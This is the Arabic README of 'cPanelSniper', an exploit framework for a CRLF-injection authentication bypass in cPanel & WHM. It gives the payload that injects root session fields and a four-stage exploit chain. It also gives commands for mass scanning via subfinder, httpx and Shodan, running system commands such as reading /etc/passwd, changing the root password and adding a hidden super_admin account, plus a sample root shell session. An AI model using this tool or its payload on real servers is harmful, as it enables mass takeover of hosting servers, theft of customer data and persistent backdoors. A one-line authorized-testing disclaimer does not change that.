
CVE-2026-41940 — تجاوز المصادقة في cPanel وWHM عبر حقن CRLF في ملف الجلسة
CVE-2026-41940 — تجاوز المصادقة في cPanel & WHM عبر حقن CRLF في ملف الجلسة
سلسلة استغلال من 4 مراحل · قشرة WHM تفاعلية · ماسح شامل · جاهز للخطوط الآلية · stdlib فقط
cPanelSniper هو إطار عمل استغلال متخصص لثغرة CVE-2026-41940، وهي ثغرة حرجة في تجاوز المصادقة تؤثر على cPanel & WHM. تسمح الثغرة للمهاجمين عن بُعد دون مصادقة بالحصول على وصول جذري إلى WHM عن طريق حقن تسلسلات CRLF في ملف الجلسة عبر ترويسة Authorization في HTTP — دون الحاجة إلى أي بيانات اعتماد صالحة.
لاختبار الاختراق المصرح به وبرامج مكافآت الثغرات فقط.
السبب الجذري يكمن في Session.pm: دالة saveSession() تستدعي filter_sessiondata() بعد كتابة ملف الجلسة على القرص. هذا يعني أن أحرف CRLF المضمنة في قيمة ترويسة Authorization: Basic تُكتب حرفيًا في ملف الجلسة، مما يحقن حقولًا يتحكم بها المهاجم قبل حدوث التنقية.
التدفق الطبيعي:
POST /login/ → filter_sessiondata() → كتابة الجلسة → فحص المصادقة
التدفق القابل للاستغلال:
POST /login/ → كتابة الجلسة (حقن حمولة CRLF) → filter_sessiondata() → فحص المصادقة يقرأ الملف المسموم
قيمة Authorization: Basic تُفك ترميزها إلى:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
تُكتب هذه الحقول مباشرة في ملف الجلسة على القرص. عند قراءتها مرة أخرى، يعاملها cPanel كجلسة جذرية موثقة بالكامل.
┌─────────────────────────────────────────────────────────────┐
│ المرحلة 0 — اكتشاف اسم المضيف الأساسي │
│ GET /openid_connect/cpanelid → 307 → اسم المضيف الحقيقي │
├─────────────────────────────────────────────────────────────┤
│ المرحلة 1 — إنشاء جلسة ما قبل المصادقة │
│ POST /login/?login_only=1 (بيانات اعتماد خاطئة) │
│ ← 401 + كوكي whostmgrsession │
├─────────────────────────────────────────────────────────────┤
│ المرحلة 2 — حقن CRLF │
│ GET / + Cookie: session + Authorization: Basic <حمولة> │
│ cpsrvd يكتب حقول CRLF في ملف الجلسة │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ المرحلة 3 — النشر (أداة do_token_denied) │
│ GET /scripts2/listaccts │
│ يطلق مسح raw→cache — تصبح الحقول المحقونة نشطة │
│ ← 401 Token denied (متوقع) │
├─────────────────────────────────────────────────────────────┤
│ المرحلة 4 — التحقق من وصول جذر WHM │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = تم الاختراق │
└─────────────────────────────────────────────────────────────┘
| الفرع | القابل للاستغلال | المُصحح |
|---|---|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help
لا حاجة لتثبيت pip. Python 3.8+ stdlib خالص فقط.
# هدف واحد — فحص فقط
python3 cPanelSniper.py -u https://target.com:2087
# هدف واحد — قشرة تفاعلية بعد التجاوز
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# فحص شامل من ملف
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json
# فحص إجباري (تخطي اكتشاف cPanel)
python3 cPanelSniper.py -u https://target.com:2087 --force
# سرد جميع حسابات cPanel على الخادم
python3 cPanelSniper.py -u https://target.com:2087 --action list
# تنفيذ أمر نظام
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# الحصول على معلومات الخادم (اسم المضيف، الحمل، القرص، مضيف MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# الحصول على إصدار cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version
# تغيير كلمة مرور الجذر
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# قشرة WHM تفاعلية
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 | \
python3 cPanelSniper.py -t 30 -o results.json
# من قائمة النطاقات
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 | \
python3 cPanelSniper.py -t 30 -o results.json
# نتائج Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python3 cPanelSniper.py -t 30 -o shodan_results.json
# أنبوب stdin
echo "https://target.com:2087" | python3 cPanelSniper.py
# مصادر متعددة مجمعة
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python3 cPanelSniper.py -t 20 --action list
بعد تجاوز ناجح، يفتح خيار --action shell موجهًا تفاعليًا:
════════════════════════════════════════════════════════════
قشرة WHM — target.com
الإصدار: CVE-2026-41940 | المصادقة: تجاوز CRLF
اكتب 'help' للأوامر، 'exit' للخروج
════════════════════════════════════════════════════════════
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
[حسابات cPanel] target.com:2087 (47 مستخدمًا)
user01 النطاق: example.com البريد: [email protected]
user02 النطاق: shop.com البريد: [email protected]
...
[email protected] ▶ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[email protected] ▶ info
[معلومات الخادم] https://target.com:2087
اسم المضيف: srv01.target.com
الحمل: 0.72 / 0.66 / 0.69
الإصدار: 11.130.0.6
[email protected] ▶ addadmin mitsec P@ss2026!
[تم إنشاء مسؤول خلفي]
الهدف : https://target.com:2087
اسم المستخدم : mitsec
كلمة المرور : P@ss2026!
الملف الشخصي : super_admin
[email protected] ▶ exit